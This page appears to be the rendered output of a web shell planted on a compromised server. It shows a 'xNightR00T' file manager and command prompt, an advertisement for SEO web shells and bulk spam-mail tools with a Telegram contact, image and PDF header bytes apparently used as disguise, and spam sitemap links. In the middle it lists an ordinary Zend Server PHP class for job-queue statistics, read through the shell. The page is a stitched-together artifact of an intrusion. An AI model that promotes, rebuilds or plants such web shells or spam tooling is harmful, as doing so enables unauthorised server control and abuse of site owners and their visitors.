xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

namespace JQPulse\Db;

use Zend\Db\Sql\Select,
    Zend\Db\Sql\Expression,
    Configuration\MapperAbstract;
use Zend\Db\Sql\Where;
use ZendServer\Log\Log;
use Zend\Db\Sql\Predicate\Predicate;
use Zend\Db\TableGateway\TableGateway;

class ExecStatsMapper extends MapperAbstract
{
    const TYPE_UNKNOWN            = 0;
    const TYPE_SUCCEEDED          = 1;
    const TYPE_FAILED_LOGICALLY   = 2;
    const TYPE_FAILED_EXECUTION   = 3;
    const TYPE_FAILED_TIMEOUT     = 4;
    const TYPE_FAILED_BACKEND     = 5;
    const TYPE_FAILED_URL         = 6;
    const TYPE_FAILED_START       = 7;
    const TYPE_FAILED_PREDECESSOR = 8;
    const TYPE_AVG_WAIT_TIME      = 9;
    const TYPE_AVG_EXEC_TIME      = 10;
    const TYPE_EXEC_COUNT         = 11;
    const TYPE_WAIT_COUNT         = 12;
    const TYPE_RUNNING_COUNT      = 13;
    const TYPE_ABORTED            = 14;
    
    const TYPE_HTTP_JOBS          = 0;
    const TYPE_CLI_JOBS           = 1;

    private $sumTypes  = array(
        self::TYPE_SUCCEEDED,
        self::TYPE_FAILED_LOGICALLY,
        self::TYPE_FAILED_EXECUTION,
        self::TYPE_FAILED_TIMEOUT,
        self::TYPE_FAILED_BACKEND,
        self::TYPE_FAILED_URL,
        self::TYPE_FAILED_START,
        self::TYPE_FAILED_PREDECESSOR,
        self::TYPE_ABORTED,
    );
    private $avgTypes  = array(
        self::TYPE_AVG_WAIT_TIME,
        self::TYPE_AVG_EXEC_TIME,
        self::TYPE_EXEC_COUNT,
        self::TYPE_WAIT_COUNT,
        self::TYPE_RUNNING_COUNT,
    );
    
    private $isCluster = false;
    
    public static $typesArray = array(
        'TYPE_SUCCEEDED' => self::TYPE_SUCCEEDED,
        'TYPE_FAILED_LOGICALLY' => self::TYPE_FAILED_LOGICALLY,
        'TYPE_FAILED_EXECUTION' => self::TYPE_FAILED_EXECUTION,
        'TYPE_FAILED_TIMEOUT' => self::TYPE_FAILED_TIMEOUT,
        'TYPE_FAILED_BACKEND' => self::TYPE_FAILED_BACKEND,
        'TYPE_FAILED_URL' => self::TYPE_FAILED_URL,
        'TYPE_FAILED_START' => self::TYPE_FAILED_START,
        'TYPE_FAILED_PREDECESSOR' => self::TYPE_FAILED_PREDECESSOR,
        'TYPE_ABORTED' => self::TYPE_ABORTED,
        'TYPE_AVG_WAIT_TIME' => self::TYPE_AVG_WAIT_TIME,
        'TYPE_AVG_EXEC_TIME' => self::TYPE_AVG_EXEC_TIME,
        'TYPE_EXEC_COUNT' => self::TYPE_EXEC_COUNT,
        'TYPE_WAIT_COUNT' => self::TYPE_WAIT_COUNT,
        'TYPE_RUNNING_COUNT' => self::TYPE_RUNNING_COUNT,
    );

    public function getTypesArray()
    {
        return self::$typesArray;
    }
    
    private function getStatisticTables()
    {
        return array('pagecache_stats_daily', 'pagecache_stats_monthly', 'pagecache_stats_weekly');
    }

    public function clearDb()
    {
        $adapter = $this->getTableGateway()->getAdapter();
        $sql = new Sql( $adapter );
        foreach($this->getStatisticTables() as $table){
            $delete = $sql->delete($table);
            $statement = $sql->prepareStatementForSqlObject($delete);
            $statement->execute();
        }
    }

    /**
     *
     * @param array $params can contain {
     * 		applicationId: 30,
     * 		queueId: 11,
     * 		typeIds: [1,2], // 1 to 3
     * 		period: 24, // in hours
     * }
     * @return Ambigous <\ZendServer\Set, multitype:, NULL, \Zend\Db\ResultSet\ResultSetInterface, \Zend\Db\ResultSet\ResultSet, multitype:NULL multitype: Ambigous <\ArrayObject, multitype:, \Zend\Db\ResultSet\mixed, unknown> >
     */
    public function getSumStats($params)
    {
        $typeIds       = @$params['typeIds'] ?: array();
        $applicationId = isset($params['applicationId']) && is_numeric($params['applicationId']) ? intval($params['applicationId'])
                : 0;
        $queueId       = isset($params['queueId']) && is_numeric($params['queueId']) ? intval($params['queueId']) : 0;
        $period        = @$params['period'] ?: 0;
        
        // get job type web/api
        $type          = $params['type'];


        $typeIds = array_intersect($typeIds, $this->sumTypes);

        $table = $this->getCorrectTableName($params);
        $select = new Select($table);
        $select->columns(array(
            'entry_type_id',
            'app_id',
            'queue_id',
            'counter_value' => new Expression('sum(counter_value)'),
        ));

        // limit to specific type ids
        if (count($typeIds) > 0) {
            $select->where(array('entry_type_id' => $typeIds));
        } else {
            $select->where(array('entry_type_id' => $this->sumTypes));
        }

        // limit to specific application id
        if ($applicationId !== \Application\View\Helper\Filter::ALL_FLAG) {
            $select->where(array('app_id' => $applicationId));
        }

        // limit to specific queue id
        if ($queueId !== 0) {
            $select->where(array('queue_id' => $queueId));
        }

        // limit to specific types
        if (!is_null($type)) {
            $select->where(array('job_type' => $type));
        }
        
        $select = $this->setPeriod($params, $select);

        $select->group('entry_type_id');
        
        //Log::err($select->getSqlString());
        return $this->selectWith($select);
    }

    public function getSuccessJobsExecutions($params)
    {
        return $this->getJobsExecutions($params, array(self::TYPE_SUCCEEDED));
    }

    public function getFailedJobsExecutions($params)
    {

        $failedTypes = $this->sumTypes;
        unset($failedTypes[0]); // remove the success type

        return $this->getJobsExecutions($params, $failedTypes, 'from_time');
    }

    public function getFailedTypesExecutions($params)
    {

        $executions = $this->getJobsExecutions($params, array(
            self::TYPE_FAILED_BACKEND,
            self::TYPE_FAILED_EXECUTION,
            self::TYPE_FAILED_LOGICALLY,
            self::TYPE_FAILED_PREDECESSOR,
            self::TYPE_FAILED_START,
            self::TYPE_FAILED_TIMEOUT,
            self::TYPE_FAILED_URL,
            self::TYPE_ABORTED,
        ));

        $executionsToReturn = array();
        foreach ($executions as $exec) {
            switch ($exec['entry_type_id']) {
                case self::TYPE_FAILED_BACKEND:
                    $executionsToReturn['backend'][]     = $exec;
                    break;
                case self::TYPE_FAILED_EXECUTION:
                    $executionsToReturn['exec'][]        = $exec;
                    break;
                case self::TYPE_FAILED_LOGICALLY:
                    $executionsToReturn['logic'][]       = $exec;
                    break;
                case self::TYPE_FAILED_PREDECESSOR:
                    $executionsToReturn['predecessor'][] = $exec;
                    break;
                case self::TYPE_FAILED_START:
                    $executionsToReturn['start'][]       = $exec;
                    break;
                case self::TYPE_FAILED_TIMEOUT:
                    $executionsToReturn['timeout'][]     = $exec;
                    break;
                case self::TYPE_FAILED_URL:
                    $executionsToReturn['url'][]         = $exec;
                    break;
                case self::TYPE_ABORTED:
                    $executionsToReturn['aborted'][]     = $exec;
                    break;
            }
        }
        return $executionsToReturn;
    }

    /**
     * 
     */
    public function setIsCluster($isCluster)
    {
        $this->isCluster = $isCluster;
    }

    /**
     * @brief Get first timestamp when the jq started to work
     * @return Result
     */
    public function getJQFirstTimestamp($params) {
         
        $tableGateway = new TableGateway('jobqueue_executions_first_jobs', $this->getTableGateway()->getAdapter());
    
        $applicationId = isset($params['applicationId']) && is_numeric($params['applicationId']) ? intval($params['applicationId']) : -1;
        /* @var Zend\Db\ResultSet\ResultSet */
        $element = $tableGateway->select(array('app_id' => $applicationId))->current();
        if (!empty($element)) {
            return $element['first_time_updated'];
        }
    
        // $applicationId = -1 => Not Deployed App
        if ($applicationId < 0) {
            $element = $tableGateway->select(array('app_id' => -1))->current();
            if (!empty($element)) {
                return $element['first_time_updated'];
            }
        } else if ($applicationId == 0) { // All Apps
           $select = new Select('jobqueue_executions_first_jobs');
           $select->columns(array('first_time' => new Expression("min(first_time_updated)")));
           $result = $this->selectWith($select);
           if (!empty($result) && !empty($result[0]) && $result[0]['first_time'] != NULL) {
               return $result[0]['first_time'];
           }
           return '';
        }
        
        return '';
    }
    
    /**
     * 
     * @param mixed $params 
     * @param mixed $types 
     * @param mixed $groupBy 
     * @return array
     */
    public function getJobsExecutions($params, $types, $groupBy = null)
    {

        $applicationId = isset($params['applicationId']) && is_numeric($params['applicationId']) ? 
            intval($params['applicationId']) : 0;
        $queueId       = isset($params['queueId']) && is_numeric($params['queueId']) ? intval($params['queueId']) : 0;
        $type          = isset($params['type']) ? $params['type'] : null;
        $period        = @$params['period'] ?: 0;

        $table = $this->getCorrectTableName($params);
        $select = new Select($table);
        
        $minsCountPerTimeRange = $this->getMinsCountPerTimeRange($table);

        if ($groupBy) {
            $counterSum = new Expression("sum(counter_value) / $minsCountPerTimeRange");
        } else {
            $counterSum = new Expression("counter_value / $minsCountPerTimeRange");
        }


        $select->columns(array(
            'entry_type_id',
            'app_id',
            'queue_id',
            'from_time',
            'until_time',
            'counter_summ' => $counterSum
        ));

        $select->where(array('entry_type_id' => $types));

        // limit to specific application id
        if ($applicationId !== \Application\View\Helper\Filter::ALL_FLAG) {
            $select->where(array('app_id' => $applicationId));
        }

        // limit to specific queue id
        if ($queueId !== 0) {
            $select->where(array('queue_id' => $queueId));
        }

        // limit to specific job type
        if (!is_null($type)) {
            $select->where(array('job_type' => $type));
        }

        $select = $this->setPeriod($params, $select);
        
        if ($groupBy) {
            $select->group($groupBy);
        }
        
        //Log::err($select->getSqlString());
        $returnArray    = $this->selectWith($select);
        $firstTimestamp = $this->getJQFirstTimestamp($params);

        // if there is no first jq timestamp or first jq timestamp is before than the period
        // normilize to first jq timestamp for the fist row
        if (strtolower($period) != 'custom' && (time() - $period * 60 * 60) > $firstTimestamp && $period > 2) {
            foreach ($returnArray as $index => $row) {
                if ($row['from_time'] < $firstTimestamp && $firstTimestamp < $row['util_time']) {

                    $minsCountPerTimeRangeFromFirstJQTime = floor(($row['util_time'] - $firstTimestamp) / 60);
                    $returnArray[$index]['counter_value'] = ($returnArray[$index]['counter_value'] * $minsCountPerTimeRange)
                        / $minsCountPerTimeRangeFromFirstJQTime;
                }
            }
        }

        return $returnArray;
    }

    public function getNowNormilized()
    {
        $now = time();
        // normilize to the round minutes
        $now = $now - ($now % 60);
        return $now;
    }

    /**
     *
     * @param array $params can contain {
     * 		applicationId: 30,
     * 		queueId: 11,
     * 		typeIds: [1,2], // 1 to 3
     * 		period: 24, // in hours
     * }
     * @return Ambigous <\ZendServer\Set, multitype:, NULL, \Zend\Db\ResultSet\ResultSetInterface, \Zend\Db\ResultSet\ResultSet, multitype:NULL multitype: Ambigous <\ArrayObject, multitype:, \Zend\Db\ResultSet\mixed, unknown> >
     */
    public function getAvgStats($params)
    {
        $typeIds       = @$params['typeIds'] ?: array();
        $applicationId = isset($params['applicationId']) && is_numeric($params['applicationId']) ? intval($params['applicationId'])
                : 0;
        $queueId       = isset($params['queueId']) && is_numeric($params['queueId']) ? intval($params['queueId']) : 0;
        $period        = @$params['period'] ?: 0;

        // get job type web/api
        $type          = isset($params['type']) && $params['type'] !== false ? $params['type'] : null;
        
        $typeIds = array_intersect($typeIds, $this->avgTypes);

        $table = $this->getCorrectTableName($params);
        $select = new Select($table);

        $firstTimestamp = $this->getJQFirstTimestamp($params);

        $timeForThroughtput = $this->getTotalMinsCount($params, $firstTimestamp);
        
        $select->columns(array(
            'entry_type_id',
            'app_id',
            'queue_id',
            'avg_value' => new Expression('sum(counter_value * samples) / sum(samples)'), // weighted average is calculated
            //'arith_avg_value' => new Expression('sum(counter_value) / count(*)'), // arithmetic average is calculated
            'arith_avg_value' => new Expression('sum(counter_value) / '.$timeForThroughtput), // arithmetic average is calculated per minute
        ));

        // limit to specific type ids
        if (count($typeIds) > 0) {
            $select->where(array('entry_type_id' => $typeIds));
        } else {
            $select->where(array('entry_type_id' => $this->avgTypes));
        }

        // limit to specific application id
        if ($applicationId !== \Application\View\Helper\Filter::ALL_FLAG) {
            $select->where(array('app_id' => $applicationId));
        }

        // limit to specific queue id
        if ($queueId !== 0) {
            $select->where(array('queue_id' => $queueId));
        }

        // limit to specific queue id
        if (!is_null($type)) {
            $select->where(array('job_type' => $type));
        }
        $select = $this->setPeriod($params, $select);
        $select->group('entry_type_id');
        
        //Log::err($select->getSqlString());
        
        $resultArray = $this->selectWith($select);
        return $resultArray;
    }
    
    
    
    private function getCorrectTableName($params) {
        if (strtolower($params['period']) == 'custom') {
            $from = $params['customPeriodFrom'];
            $to = $params['customPeriodTo'];
            
            $now = time();
            $from = floor($from / 1000); // millisec -> secs
            $fromHoursAgo = floor(($now - $from) / (60*60)); // in hours ago
            $to = floor($to / 1000);
            $toHoursAgo = floor(($now - $to) / (60*60)); // in hours ago
            
            $tableSuffixFrom = $fromHoursAgo < 24 + 1 ? 'daily' : ($fromHoursAgo < 24 * 14 + 1 && $fromHoursAgo >= 0 ? 'weekly' : 'monthly');
            $tableSuffixTo = $toHoursAgo < 24 + 1 ? 'daily' : ($toHoursAgo < 24 * 14 + 1 && $toHoursAgo >= 0 ? 'weekly' : 'monthly');
            if ($tableSuffixFrom == $tableSuffixTo) return 'jobqueue_executions_stats_' . $tableSuffixFrom;
            
            $periodTables = array('daily', 'weekly', 'monthly');
            // take the maximal statistics resolution if the from and until are taken from different tables
            return 'jobqueue_executions_stats_' . $periodTables[max(array_search($tableSuffixFrom, $periodTables), array_search($tableSuffixTo, $periodTables))];
        } else {
            $period = isset($params['period']) ? $params['period'] : 24;
            $tableSuffix = $period < 24 + 1 && $period > 0 ? 'daily' : ($period < 24 * 14 + 1 && $period > 0 ? 'weekly'
                : 'monthly');
            return 'jobqueue_executions_stats_' . $tableSuffix;
        }
    }
    
    private function getMinsCountPerTimeRange($table) {
        if ($table == 'jobqueue_executions_stats_daily') {
            return 1;
        } elseif ($table == 'jobqueue_executions_stats_weekly') {
            return 60;
        } else { // monthly
            return 24 * 60;
        }
    }
    
    private function setPeriod($params, $select) {
        // custom time
        if (strtolower($params['period']) == 'custom') {
            $from = $params['customPeriodFrom'];
            $to = $params['customPeriodTo'];
            
            $from = floor($from / 1000); // millisec -> secs
            $to = floor($to / 1000);
            
            $wherePeriod = new Predicate();
            $wherePeriod->between('from_time', $from, $to);
            $select->where($wherePeriod);
            
        } // limit to specific date
        else {
            $period = @$params['period'] ?: 0;
            // translate to seconds
            $period = $period * 60 * 60;
            
            $wherePeriod = new Predicate();
            
            $wherePeriod->greaterThan('from_time', $this->getNowNormilized() - $period);
            $select->where($wherePeriod);
        }
        
        return $select;
    }
    
    private function getTotalMinsCount($params, $firstTimestamp) {
    
        $period = @$params['period'] ?: 0;
        
        if (strtolower($params['period']) != 'custom') {
            // if there is no first jq timestamp or first jq timestamp is before than the period
            if (empty($firstTimestamp) || ( (time() - $period * 60 * 60) > $firstTimestamp)) {
                $timeForThroughtput = $period * 60; // in mins
            } else {
                $timeForThroughtput = time() - $firstTimestamp;
                $timeForThroughtput = floor($timeForThroughtput / 60); // in mins
            }
        } else { //custom
            $from = floor( $params['customPeriodFrom'] / 1000); // millisec -> secs
            $to = floor( $params['customPeriodTo'] / 1000); // millisec -> secs
            
            // if there is no first jq timestamp or first jq timestamp is before than the 'from' custom time
            if (empty($firstTimestamp) || ($from > $firstTimestamp)) {
                $timeForThroughtput = floor(($to - $from) / 60); // in mins
            } else {
                $timeForThroughtput = $to - $firstTimestamp;
                $timeForThroughtput = floor($timeForThroughtput / 60); // in mins
            }
        }
        
        return $timeForThroughtput;
    }
    
}

Filemanager

Name Type Size Permission Actions
ExecStatsMapper.php File 18.34 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml